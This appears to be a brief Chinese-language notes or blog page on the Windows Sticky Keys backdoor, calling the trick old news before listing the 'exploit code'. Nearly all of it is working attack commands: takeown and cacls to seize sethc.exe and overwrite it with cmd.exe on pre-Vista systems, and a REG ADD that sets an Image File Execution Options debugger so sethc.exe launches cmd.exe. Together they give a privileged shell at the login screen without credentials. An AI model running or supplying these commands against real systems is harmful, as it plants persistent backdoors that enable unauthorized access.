粘滞键

老生常谈的东西了,直接放利用代码:

#Before Windows Vista
takeown /f sethc.* /a /r /d y
cacls sethc.exe /T /E /G administrators:F
copy /y cmd.exe sethc.exe

#Suggest you don't use this after Windows Vista.
#If you really like it,try this.
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

最后更新于